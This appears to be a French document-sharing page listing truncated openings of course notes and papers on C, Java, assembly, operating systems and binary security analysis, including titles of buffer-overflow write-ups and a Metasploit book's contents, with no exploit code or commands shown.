Le Projet BINSEC. Automatiser l analyse de sécurité au niveau binaire. Airbus group, CEA, IRISA, LORIA, Uni. Joseph Fourier. p. Le Projet BINSEC Automatiser l analyse de sécurité au niveau binaire Airbus group, CEA, IRISA, LORIA, Uni. Joseph Fourier p. 1/22 Introduction Panorama de BINSEC Cadre de travail Projet ANR INS, appel

Plus en détail

Playing with ptrace() for fun and profit

Playing with ptrace() for fun and profit sous GNU/Linux nicolas.bareil@eads.net EADS Corporate Research Center - DCR/STI/C SSI Lab SSTIC 2006 Il était une fois... Sous UNIX, ptrace() est le seul moyen de debuggage. User-space, Interface rigide

Plus en détail

GlobalScape Secure FTP Server 3.0.2 Buffer Overflow

GlobalScape Secure FTP Server 3.0.2 Buffer Overflow GlobalScape Secure FTP Server 3.0.2 Buffer Overflow muts@whitehat.co.il Traduction française: jerome[at]athias.fr http://www.athias.fr/jerome/doc/ Qu est-ce que le Serveur FTP Sécurisé GlobalScape?...

Plus en détail

Programmation système I Les entrées/sorties

Programmation système I Les entrées/sorties Programmation système I Les entrées/sorties DUT 1 re année Université de Marne La vallée Les entrées-sorties : E/O Entrées/Sorties : Opérations d échanges d informations dans un système informatique. Les

Plus en détail

Conventions d écriture et outils de mise au point

Conventions d écriture et outils de mise au point Logiciel de base Première année par alternance Responsable : Christophe Rippert Christophe.Rippert@Grenoble-INP.fr Introduction Conventions d écriture et outils de mise au point On va utiliser dans cette

Plus en détail

EPREUVE OPTIONNELLE d INFORMATIQUE CORRIGE

EPREUVE OPTIONNELLE d INFORMATIQUE CORRIGE EPREUVE OPTIONNELLE d INFORMATIQUE CORRIGE QCM Remarque : - A une question correspond au moins 1 réponse juste - Cocher la ou les bonnes réponses Barème : - Une bonne réponse = +1 - Pas de réponse = 0

Plus en détail

SSTIC 2009. Désobfuscation automatique de binaires. Alexandre Gazet. Yoann Guillot. Et autres idyles bucoliques...

SSTIC 2009. Désobfuscation automatique de binaires. Alexandre Gazet. Yoann Guillot. Et autres idyles bucoliques... Désobfuscation automatique de binaires Et autres idyles bucoliques... Alexandre Gazet Sogeti / ESEC R&D alexandre.gazet(at)sogeti.com Yoann Guillot Sogeti / ESEC R&D yoann.guillot(at)sogeti.com SSTIC 2009

Plus en détail

Assembleur i8086. Philippe Preux IUT Informatique du Littoral. Année universitaire 95 96

Assembleur i8086. Philippe Preux IUT Informatique du Littoral. Année universitaire 95 96 Assembleur i8086 Philippe Preux IUT Informatique du Littoral Année universitaire 95 96 1 Avertissement Ce document décrit le langage d assemblage étudié et utilisé dans le cadre des TP d architecture.

Plus en détail

DNS Server RPC Interface buffer overflow. Céline COLLUMEAU Nicolas BODIN

DNS Server RPC Interface buffer overflow. Céline COLLUMEAU Nicolas BODIN Mémoire DNS Server RPC Interface buffer overflow Céline COLLUMEAU Nicolas BODIN 3 janvier 2009 Table des matières 1 Introduction 2 2 Présentation de la faille 3 3 Exemple d exploitation 5 4 Solutions 10

Plus en détail

Architecture des ordinateurs. Loïc Cuvillon. 20 novembre 2013

Architecture des ordinateurs. Loïc Cuvillon. 20 novembre 2013 Systèmes temps réel et systèmes embarqués Architecture des ordinateurs Loïc Cuvillon Ecole Nationale Supérieure de Physique de Strasbourg 20 novembre 2013 Loïc Cuvillon (ENSPS) Systèmes temps réel et systèmes

Plus en détail

Département informatique de l université d Angers

Département informatique de l université d Angers Département informatique de l université d Angers Amélioration d'un logiciel d'émulation du fonctionnement d'un microprocesseur x8 6 SCHAEFFER Florian ROUSSEAUX Billy L3 Informatique Responsable du projet:

Plus en détail

Mon premier rpm. http://alexandre-mesle.com 7 juin 2010. 1 Avant de commencer 2 1.1 RPM... 2 1.2 URPMI... 2 1.3 RPMBUILD... 2

Mon premier rpm. http://alexandre-mesle.com 7 juin 2010. 1 Avant de commencer 2 1.1 RPM... 2 1.2 URPMI... 2 1.3 RPMBUILD... 2 Mon premier rpm http://alexandre-mesle.com 7 juin 2010 Table des matières 1 Avant de commencer 2 1.1 RPM....................................................... 2 1.2 URPMI.....................................................

Plus en détail

Introduction au langage C

Introduction au langage C Introduction au langage C Cours 1: Opérations de base et premier programme Alexis Lechervy Alexis Lechervy (UNICAEN) Introduction au langage C 1 / 23 Les premiers pas Sommaire 1 Les premiers pas 2 Les

Plus en détail

Systèmes d Exploitation & Machines Virtuelles. Format de l enseignement. Objectif du cours

Systèmes d Exploitation & Machines Virtuelles. Format de l enseignement. Objectif du cours Systèmes d Exploitation & Machines Virtuelles Architectures et Conception des logicielles de base pour les systèmes informatiques Par Gilles Grimaud Université des Sciences et Technologies de Lille http://www.lifl.fr/~grimaud/cours

Plus en détail

1. Structure d un programme C. 2. Commentaire: /*..texte */ On utilise aussi le commentaire du C++ qui est valable pour C: 3.

1. Structure d un programme C. 2. Commentaire: /*..texte */ On utilise aussi le commentaire du C++ qui est valable pour C: 3. 1. Structure d un programme C Un programme est un ensemble de fonctions. La fonction "main" constitue le point d entrée pour l exécution. Un exemple simple : #include int main() { printf ( this

Plus en détail

Désobfuscation automatique de binaire - The Barbarian Sublimation

Désobfuscation automatique de binaire - The Barbarian Sublimation Désobfuscation automatique de binaire - The Barbarian Sublimation Yoann Guillot, Alexandre Gazet Sogeti - ESEC Résumé Ce papier présente l état de notre recherche dans le domaine de l automatisation du

Plus en détail

Skype (v2.5) Protocol Data Structures (French) Author : Ouanilo MEDEGAN http://www.oklabs.net

Skype (v2.5) Protocol Data Structures (French) Author : Ouanilo MEDEGAN http://www.oklabs.net Skype (v2.5) Protocol Data Structures (French) Author : Ouanilo MEDEGAN http://www.oklabs.net : Champ Encodé SKWRITTEN() : Champ Variable défini Précédemment & définissant l état des champs à suivre ECT

Plus en détail

Assembleur. Faculté I&C, André Maurer, Claude Petitpierre

Assembleur. Faculté I&C, André Maurer, Claude Petitpierre Assembleur Faculté I&C, André Maurer, Claude Petitpierre INTRODUCTION Logiciel utilisé Faculté I&C, André Maurer, Claude Petitpierre MEMOIRE Mémoire Faculté I&C, André Maurer, Claude Petitpierre Mémoire

Plus en détail

Algorithmique et Programmation, IMA

Algorithmique et Programmation, IMA Algorithmique et Programmation, IMA Cours 2 : C Premier Niveau / Algorithmique Université Lille 1 - Polytech Lille Notations, identificateurs Variables et Types de base Expressions Constantes Instructions

Plus en détail

Plan du cours. Historique du langage http://www.oracle.com/technetwork/java/index.html. Nouveautés de Java 7

Plan du cours. Historique du langage http://www.oracle.com/technetwork/java/index.html. Nouveautés de Java 7 Université Lumière Lyon 2 Faculté de Sciences Economiques et Gestion KHARKIV National University of Economic Introduction au Langage Java Master Informatique 1 ère année Julien Velcin http://mediamining.univ-lyon2.fr/velcin

Plus en détail

Cours d initiation à la programmation en C++ Johann Cuenin

Cours d initiation à la programmation en C++ Johann Cuenin Cours d initiation à la programmation en C++ Johann Cuenin 11 octobre 2014 2 Table des matières 1 Introduction 5 2 Bases de la programmation en C++ 7 3 Les types composés 9 3.1 Les tableaux.............................

Plus en détail

Bases de programmation. Cours 5. Structurer les données

Bases de programmation. Cours 5. Structurer les données Bases de programmation. Cours 5. Structurer les données Pierre Boudes 1 er décembre 2014 This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 3.0 License. Types char et

Plus en détail

Ordinateurs, Structure et Applications

Ordinateurs, Structure et Applications Ordinateurs, Structure et Applications Cours 10, Les interruptions Etienne Tremblay Université Laval, Hiver 2012 Cours 10, p.1 Les interruptions du 8086 Une interruption interrompt l exécution séquentielle

Plus en détail

Réalisation d un OS 32 bits pour PC(x86)

Réalisation d un OS 32 bits pour PC(x86) Rapport projet tutoré Réalisation d un OS 32 bits pour PC(x86) Maxime Chéramy Nicolas Floquet Benjamin Hautbois

Plus en détail

Licence Bio Informatique Année 2004-2005. Premiers pas. Exercice 1 Hello World parce qu il faut bien commencer par quelque chose...

Licence Bio Informatique Année 2004-2005. Premiers pas. Exercice 1 Hello World parce qu il faut bien commencer par quelque chose... Université Paris 7 Programmation Objet Licence Bio Informatique Année 2004-2005 TD n 1 - Correction Premiers pas Exercice 1 Hello World parce qu il faut bien commencer par quelque chose... 1. Enregistrez

Plus en détail

Traduction binaire dynamique de l extension SIMD Néon de l ARMv7 dans Qemu

Traduction binaire dynamique de l extension SIMD Néon de l ARMv7 dans Qemu Travaux d études et de recherches Traduction binaire dynamique de l extension SIMD Néon de l ARMv7 dans Qemu Étudiant : Luc Michel Encadrants : Frédéric Pétrot Nicolas Fournel 23 mai 2010 TABLE DES MATIÈRES

Plus en détail

4. Initiation à l'assembleur

4. Initiation à l'assembleur 4. Initiation à l'assembleur 142 143 1. Introduction Pour mieux comprendre la structure interne d'un ordinateur, nous aborderons la langage d'assemblage d'un processeur contemporain, le Pentium III d'intel.

Plus en détail

CM2 L architecture MIPS32

CM2 L architecture MIPS32 CM2 L architecture MIPS32 Olivier Marchetti (CM-TD-TP) Alexandre Brière (TD-TP) Laboratoire d informatique de Paris 6 Pôle SoC UPMC Année 2014-2015 Instructions MIPS Contrôle Données en MIPS E/S en MIPS

Plus en détail

Débogage de code* Mardi 13 décembre 2011. Romaric DAVID david@unistra.fr Université de Strasbourg - Direction Informatique Pôle HPC. hpc.unistra.

Débogage de code* Mardi 13 décembre 2011. Romaric DAVID david@unistra.fr Université de Strasbourg - Direction Informatique Pôle HPC. hpc.unistra. Débogage de code* Mardi 13 décembre 2011 Romaric DAVID david@unistra.fr Université de Strasbourg - Direction Informatique Pôle HPC *ou l'art de chercher la petite bête Plan Introduction Débogage, quelques

Plus en détail

Reproductibilité des expériences de l article "Analyse et réduction du chemin critique dans l exécution d une application"

Reproductibilité des expériences de l article Analyse et réduction du chemin critique dans l exécution d une application Reproductibilité des expériences de l article "Analyse et réduction du chemin critique dans l exécution d une application" Katarzyna Porada and David Parello and Bernard Goossens Univ. Perpignan Via Domitia,

Plus en détail

Conception de circuits numériques et architecture des ordinateurs

Conception de circuits numériques et architecture des ordinateurs Conception de circuits numériques et architecture des ordinateurs Frédéric Pétrot Année universitaire 2014-2015 Structure du cours C1 C2 C3 C4 C5 C6 C7 C8 C9 C10 C11 Codage des nombres en base 2, logique

Plus en détail

Gestion mémoire et Représentation intermédiaire

Gestion mémoire et Représentation intermédiaire Gestion mémoire et Représentation intermédiaire Pablo de Oliveira March 23, 2015 I Gestion Memoire Variables locales Les variables locales sont stockées: Soit dans un registre,

Plus en détail

INITIATION AU LANGAGE C SUR PIC DE MICROSHIP

INITIATION AU LANGAGE C SUR PIC DE MICROSHIP COURS PROGRAMMATION INITIATION AU LANGAGE C SUR MICROCONTROLEUR PIC page 1 / 7 INITIATION AU LANGAGE C SUR PIC DE MICROSHIP I. Historique du langage C 1972 : naissance du C dans les laboratoires BELL par

Plus en détail

Analyse de sécurité de logiciels système par typage statique

Analyse de sécurité de logiciels système par typage statique Contexte Modélisation Expérimentation Conclusion Analyse de sécurité de logiciels système par typage statique Application au noyau Linux Étienne Millon UPMC/LIP6 Airbus Group Innovations Sous la direction

Plus en détail

INFO-F-404 : Techniques avancées de systèmes d exploitation

INFO-F-404 : Techniques avancées de systèmes d exploitation Nikita Veshchikov e-mail : nikita.veshchikov@ulb.ac.be téléphone : 02/650.58.56 bureau : 2N8.213 URL : http://student.ulb.ac.be/~nveshchi/ INFO-F-404 : Techniques avancées de systèmes d exploitation Table

Plus en détail

Plan global Outils de développement et compilation. Plan. Objectifs des outils présentés. IDE, GCC/Clang, ASAN, perf, valgrind, GDB.

Plan global Outils de développement et compilation. Plan. Objectifs des outils présentés. IDE, GCC/Clang, ASAN, perf, valgrind, GDB. global Outils de développement et compilation IDE, GCC/Clang, ASAN, perf, valgrind, GDB Timothée Ravier LIFO, INSA-CVL, LIPN 1 re année cycle ingénieur STI 2013 2014 1 / 36 Objectifs des outils présentés

Plus en détail

Le langage C. Séance n 4

Le langage C. Séance n 4 Université Paris-Sud 11 Institut de Formation des Ingénieurs Remise à niveau INFORMATIQUE Année 2007-2008 Travaux pratiques d informatique Le langage C Séance n 4 But : Vous devez maîtriser à la fin de

Plus en détail

Architecture des ordinateurs TD1 - Portes logiques et premiers circuits

Architecture des ordinateurs TD1 - Portes logiques et premiers circuits Architecture des ordinateurs TD1 - Portes logiques et premiers circuits 1 Rappel : un peu de logique Exercice 1.1 Remplir la table de vérité suivante : a b a + b ab a + b ab a b 0 0 0 1 1 0 1 1 Exercice

Plus en détail

Cours de C. Petits secrets du C & programmation avancée. Sébastien Paumier

Cours de C. Petits secrets du C & programmation avancée. Sébastien Paumier Cours de C Petits secrets du C & programmation avancée Sébastien Paumier paumier@univ-mlv.fr Illustrations provenant du site http://tux.crystalxp.net/ 1 Affectations étendues a+=expression a=a+expression

Plus en détail

Protection des protocoles www.ofppt.info

Protection des protocoles www.ofppt.info ROYAUME DU MAROC Office de la Formation Professionnelle et de la Promotion du Travail Protection des protocoles DIRECTION RECHERCHE ET INGENIERIE DE FORMATION SECTEUR NTIC Sommaire 1. Introduction... 2

Plus en détail

Contraintes, particularités. 1. Généralités... 2. 2. Gestion de la mémoire... 2. a. Type des variables et constantes... 2

Contraintes, particularités. 1. Généralités... 2. 2. Gestion de la mémoire... 2. a. Type des variables et constantes... 2 C Embarque Contraintes, particularités 1. Généralités... 2 2. Gestion de la mémoire... 2 a. Type des variables et constantes.... 2 b. Variables locales ou globales... 3 3. Interruptions... 5 4. Imposer

Plus en détail

Table des matières. Avant-propos... Préface... XIII. Remerciements...

Table des matières. Avant-propos... Préface... XIII. Remerciements... Avant-propos... XI Préface... XIII Remerciements... XV Introduction... XVII Pourquoi faire un pentest?... XVII Pourquoi Metasploit?... XVII Un bref historique de Metasploit.... XVIII À propos de ce livre...

Plus en détail

Brefs rappels sur la pile et le tas (Stack. / Heap) et les pointeurs

Brefs rappels sur la pile et le tas (Stack. / Heap) et les pointeurs Brefs rappels sur la pile et le tas (Stack / Heap) et les pointeurs (exemples en C) v1.11 - Olivier Carles 1 Pile et Tas Mémoire allouée de manière statique Mémoire Allouée Dynamiquement variables locales

Plus en détail

Exercice sur les Dockers

Exercice sur les Dockers Exercice sur les Dockers Les parties composant les Dockers: 1 docker daemon: est un démon qui gère les dockers (les conteneurs LXC) qui tournent sur la machine hôte 2 docker CLI: une série de commandes

Plus en détail

Programmation système en C/C++

Programmation système en C/C++ Programmation système en C/C++ Jean-Baptiste Vioix (jb.vioix@free.fr) LE2I - ENESAD http://jb.vioix.free.fr 1-41 Programmation en C/C++ sous Unix Il existe des très nombreux outils de développement sous

Plus en détail

Déprotection semi-automatique de binaire

Déprotection semi-automatique de binaire Déprotection semi-automatique de binaire Yoann Guillot et Alexandre Gazet Sogeti - ESEC Résumé Que ce soit sur des binaires malicieux ou non, les protections dont le but est de freiner la rétro-ingénierie

Plus en détail

1/24. I passer d un problème exprimé en français à la réalisation d un. I expressions arithmétiques. I structures de contrôle (tests, boucles)

1/24. I passer d un problème exprimé en français à la réalisation d un. I expressions arithmétiques. I structures de contrôle (tests, boucles) 1/4 Objectif de ce cours /4 Objectifs de ce cours Introduction au langage C - Cours Girardot/Roelens Septembre 013 Du problème au programme I passer d un problème exprimé en français à la réalisation d

Plus en détail

TP1. Outils Java Eléments de correction

TP1. Outils Java Eléments de correction c sep. 2008, v2.1 Java TP1. Outils Java Eléments de correction Sébastien Jean Le but de ce TP, sur une séance, est de se familiariser avec les outils de développement et de documentation Java fournis par

Plus en détail

Introduction à Java. Matthieu Herrb CNRS-LAAS. Mars 2014. http://homepages.laas.fr/matthieu/cours/java/java.pdf

Introduction à Java. Matthieu Herrb CNRS-LAAS. Mars 2014. http://homepages.laas.fr/matthieu/cours/java/java.pdf Introduction à Java Matthieu Herrb CNRS-LAAS http://homepages.laas.fr/matthieu/cours/java/java.pdf Mars 2014 Plan 1 Concepts 2 Éléments du langage 3 Classes et objets 4 Packages 2/28 Histoire et motivations

Plus en détail

Cours Programmation Système

Cours Programmation Système Cours Programmation Système Filière SMI Semestre S6 El Mostafa DAOUDI Département de Mathématiques et d Informatique, Faculté des Sciences Université Mohammed Premier Oujda m.daoudi@fso.ump.ma Février

Plus en détail

OS Réseaux et Programmation Système - C5

OS Réseaux et Programmation Système - C5 OS Réseaux et Programmation Système - C5 Rabie Ben Atitallah rabie.benatitallah@univ-valenciennes.fr RPC - XDR Rappel RPC: Remote Procedure Call Besoin d un environnement de haut niveau pour le développement

Plus en détail

Systèmes d exploitation

Systèmes d exploitation Systèmes d exploitation Virtualisation, Sécurité et Gestion des périphériques Gérard Padiou Département Informatique et Mathématiques appliquées ENSEEIHT Novembre 2009 Gérard Padiou Systèmes d exploitation

Plus en détail

1 Architecture du cœur ARM Cortex M3. Le cœur ARM Cortex M3 sera présenté en classe à partir des éléments suivants :

1 Architecture du cœur ARM Cortex M3. Le cœur ARM Cortex M3 sera présenté en classe à partir des éléments suivants : GIF-3002 SMI et Architecture du microprocesseur Ce cours discute de l impact du design du microprocesseur sur le système entier. Il présente d abord l architecture du cœur ARM Cortex M3. Ensuite, le cours

Plus en détail

MICROINFORMATIQUE NOTE D APPLICATION 1 (REV. 2011) ARITHMETIQUE EN ASSEMBLEUR ET EN C

MICROINFORMATIQUE NOTE D APPLICATION 1 (REV. 2011) ARITHMETIQUE EN ASSEMBLEUR ET EN C Haute Ecole d Ingénierie et de Gestion Du Canton du Vaud MICROINFORMATIQUE NOTE D APPLICATION 1 (REV. 2011) ARITHMETIQUE EN ASSEMBLEUR ET EN C Programmation en mode simulation 1. DOCUMENTS DE RÉFÉRENCE...

Plus en détail

Outils pour la pratique

Outils pour la pratique Cinquième partie Outils pour la pratique 121 CHAPITRE 1 Les bases des séances de TP Avant de lire cettre section, il est suggéré de relire vos notes de cours se rapportant au système d exploitation Unix.

Plus en détail

Argument-fetching dataflow machine de G.R. Gao et J.B. Dennis (McGill, 1988) = machine dataflow sans flux de données

Argument-fetching dataflow machine de G.R. Gao et J.B. Dennis (McGill, 1988) = machine dataflow sans flux de données EARTH et Threaded-C: Éléments clés du manuel de références de Threaded-C Bref historique de EARTH et Threaded-C Ancêtres de l architecture EARTH: Slide 1 Machine à flux de données statique de J.B. Dennis

Plus en détail

Langage C. Patrick Corde. Patrick.Corde@idris.fr. 22 juin 2015. Patrick Corde ( Patrick.Corde@idris.fr ) Langage C 22 juin 2015 1 / 289

Langage C. Patrick Corde. Patrick.Corde@idris.fr. 22 juin 2015. Patrick Corde ( Patrick.Corde@idris.fr ) Langage C 22 juin 2015 1 / 289 Langage C Patrick Corde Patrick.Corde@idris.fr 22 juin 2015 Patrick Corde ( Patrick.Corde@idris.fr ) Langage C 22 juin 2015 1 / 289 Table des matières I 1 Présentation du langage C Historique Intérêts

Plus en détail

Cours d Algorithmique-Programmation 2 e partie (IAP2): programmation 24 octobre 2007impérative 1 / 44 et. structures de données simples

Cours d Algorithmique-Programmation 2 e partie (IAP2): programmation 24 octobre 2007impérative 1 / 44 et. structures de données simples Cours d Algorithmique-Programmation 2 e partie (IAP2): programmation impérative et structures de données simples Introduction au langage C Sandrine Blazy - 1ère année 24 octobre 2007 Cours d Algorithmique-Programmation

Plus en détail

Travaux pratiques. Compression en codage de Huffman. 1.3. Organisation d un projet de programmation

Travaux pratiques. Compression en codage de Huffman. 1.3. Organisation d un projet de programmation Université de Savoie Module ETRS711 Travaux pratiques Compression en codage de Huffman 1. Organisation du projet 1.1. Objectifs Le but de ce projet est d'écrire un programme permettant de compresser des

Plus en détail

ERESI : une plate-forme d'analyse binaire au niveau noyau. The ERESI team http://www.eresi-project.org

ERESI : une plate-forme d'analyse binaire au niveau noyau. The ERESI team http://www.eresi-project.org ERESI : une plate-forme d'analyse binaire au niveau noyau The ERESI team http://www.eresi-project.org ERESI: quelques rappels 7 années de développement Plusieurs contributeurs 5 logiciels, 14 bibliothèques

Plus en détail

INTRODUCTION A JAVA. Fichier en langage machine Exécutable

INTRODUCTION A JAVA. Fichier en langage machine Exécutable INTRODUCTION A JAVA JAVA est un langage orienté-objet pur. Il ressemble beaucoup à C++ au niveau de la syntaxe. En revanche, ces deux langages sont très différents dans leur structure (organisation du

Plus en détail

Chapitre 1 : La gestion dynamique de la mémoire

Chapitre 1 : La gestion dynamique de la mémoire Chapitre 1 : La gestion dynamique de la mémoire En langage C un programme comporte trois types de données : Statiques; Automatiques ; Dynamiques. Les données statiques occupent un emplacement parfaitement

Plus en détail

IV- Comment fonctionne un ordinateur?

IV- Comment fonctionne un ordinateur? 1 IV- Comment fonctionne un ordinateur? L ordinateur est une alliance du hardware (le matériel) et du software (les logiciels). Jusqu à présent, nous avons surtout vu l aspect «matériel», avec les interactions

Plus en détail

Solution du challenge SSTIC 2013. Emilien Girault ANSSI/COSSI/DTO/BAI 06/06/13

Solution du challenge SSTIC 2013. Emilien Girault ANSSI/COSSI/DTO/BAI 06/06/13 Solution du challenge SSTIC 2013 Emilien Girault ANSSI/COSSI/DTO/BAI 06/06/13 Plan Analyse d une capture réseau Détermination des canaux cachés Déchiffrement de l archive Etude d un FPGA Déduction du jeu

Plus en détail

Introduction à la programmation orientée objet, illustrée par le langage C++ Patrick Cégielski cegielski@u-pec.fr

Introduction à la programmation orientée objet, illustrée par le langage C++ Patrick Cégielski cegielski@u-pec.fr Introduction à la programmation orientée objet, illustrée par le langage C++ Patrick Cégielski cegielski@u-pec.fr Mars 2002 Pour Irène et Marie Legal Notice Copyright c 2002 Patrick Cégielski Université

Plus en détail

DE L ALGORITHME AU PROGRAMME INTRO AU LANGAGE C 51

DE L ALGORITHME AU PROGRAMME INTRO AU LANGAGE C 51 DE L ALGORITHME AU PROGRAMME INTRO AU LANGAGE C 51 PLAN DU COURS Introduction au langage C Notions de compilation Variables, types, constantes, tableaux, opérateurs Entrées sorties de base Structures de

Plus en détail

ERESI : une plate-forme d analyse binaire au niveau noyau

ERESI : une plate-forme d analyse binaire au niveau noyau ERESI : une plate-forme d analyse binaire au niveau noyau Anthony Desnos, Sebastien Roy, and Julien Vanegue The ERESI Team team@eresi-project.org Résumé ERESI est une interface pour l analyse de code machine

Plus en détail

Une introduction à Java

Une introduction à Java Une introduction à Java IFT 287 (Semaine 1) UNIVERSITÉ DE SHERBROOKE 1 Java - Historique Développé par Sun Microsystems en 1994 Inventeur James Gosling (canadien!) Objectif langage sûr (fortement typé)

Plus en détail

Licence ST Université Claude Bernard Lyon I LIF1 : Algorithmique et Programmation C Bases du langage C 1 Conclusion de la dernière fois Introduction de l algorithmique générale pour permettre de traiter

Plus en détail

Info0101 Intro. à l'algorithmique et à la programmation. Cours 3. Le langage Java

Info0101 Intro. à l'algorithmique et à la programmation. Cours 3. Le langage Java Info0101 Intro. à l'algorithmique et à la programmation Cours 3 Le langage Java Pierre Delisle, Cyril Rabat et Christophe Jaillet Université de Reims Champagne-Ardenne Département de Mathématiques et Informatique

Plus en détail

TD3: tableaux avancées, première classe et chaînes

TD3: tableaux avancées, première classe et chaînes TD3: tableaux avancées, première classe et chaînes de caractères 1 Lestableaux 1.1 Élémentsthéoriques Déclaration des tableaux Pour la déclaration des tableaux, deux notations sont possibles. La première

Plus en détail

Programmation système de commandes en C

Programmation système de commandes en C Programmation système de commandes en C Cours de Programmation système Tuyêt Trâm DANG NGOC Université de Cergy-Pontoise 2012 2013 Tuyêt Trâm DANG NGOC Programmation système de commandes

Plus en détail

Éléments d informatique Cours 3 La programmation structurée en langage C L instruction de contrôle if

Éléments d informatique Cours 3 La programmation structurée en langage C L instruction de contrôle if Éléments d informatique Cours 3 La programmation structurée en langage C L instruction de contrôle if Pierre Boudes 28 septembre 2011 This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike

Plus en détail

Plan global. Programmation système II. Socket du domaine UNIX. Plan. Socket UNIX, Terminaux, Async IO, Mémoire, ELF.

Plan global. Programmation système II. Socket du domaine UNIX. Plan. Socket UNIX, Terminaux, Async IO, Mémoire, ELF. Programmation système II Socket UNIX, Terminaux, Async IO, Mémoire, ELF Timothée Ravier LIFO, INSA-CVL, LIPN 1 re année cycle ingénieur STI 2013 2014 Plan global 1 Socket UNIX 2 Terminaux 3 Autres modèles

Plus en détail

Chap III : Les tableaux

Chap III : Les tableaux Chap III : Les tableaux Dans cette partie, on va étudier quelques structures de données de base tels que : Les tableaux (vecteur et matrice) Les chaînes de caractères LA STRUCTURE DE TABLEAU Introduction

Plus en détail

Traduction des Langages : Le Compilateur Micro Java

Traduction des Langages : Le Compilateur Micro Java BARABZAN Jean-René OUAHAB Karim TUCITO David 2A IMA Traduction des Langages : Le Compilateur Micro Java µ Page 1 Introduction Le but de ce projet est d écrire en JAVA un compilateur Micro-Java générant

Plus en détail

Les structures de données. Rajae El Ouazzani

Les structures de données. Rajae El Ouazzani Les structures de données Rajae El Ouazzani Les arbres 2 1- Définition de l arborescence Une arborescence est une collection de nœuds reliés entre eux par des arcs. La collection peut être vide, cad l

Plus en détail

Java Licence Professionnelle CISII, 2009-10

Java Licence Professionnelle CISII, 2009-10 Java Licence Professionnelle CISII, 2009-10 Cours 4 : Programmation structurée (c) http://www.loria.fr/~tabbone/cours.html 1 Principe - Les méthodes sont structurées en blocs par les structures de la programmation

Plus en détail

Les structures. Chapitre 3

Les structures. Chapitre 3 Chapitre 3 Les structures Nous continuons notre étude des structures de données qui sont prédéfinies dans la plupart des langages informatiques. La structure de tableau permet de regrouper un certain nombre

Plus en détail

Python Les fondamentaux du langage

Python Les fondamentaux du langage Editions ENI Python Les fondamentaux du langage (Nouvelle édition) Collection Ressources Informatiques Extrait 654 Python Les fondamentaux du langage 1.2 Objectifs du chapitre Dans ce chapitre sont présentés

Plus en détail

Cours 1 : La compilation

Cours 1 : La compilation /38 Interprétation des programmes Cours 1 : La compilation Yann Régis-Gianas yrg@pps.univ-paris-diderot.fr PPS - Université Denis Diderot Paris 7 2/38 Qu est-ce que la compilation? Vous avez tous déjà

Plus en détail

NanoSense. Protocole Modbus de la sonde Particules P4000. (Version 01F)

NanoSense. Protocole Modbus de la sonde Particules P4000. (Version 01F) NanoSense 123 rue de Bellevue, 92100 Boulogne Billancourt France Tél : 33-(0) 1 41 41 00 02, fax : 33-(0) 1 41 41 06 72 Protocole Modbus de la sonde Particules P4000 (Version 01F) Ver V01A V01B V01C V01D

Plus en détail

UE Programmation Impérative Licence 2ème Année 2014 2015

UE Programmation Impérative Licence 2ème Année 2014 2015 UE Programmation Impérative Licence 2 ème Année 2014 2015 Informations pratiques Équipe Pédagogique Florence Cloppet Neilze Dorta Nicolas Loménie prenom.nom@mi.parisdescartes.fr 2 Programmation Impérative

Plus en détail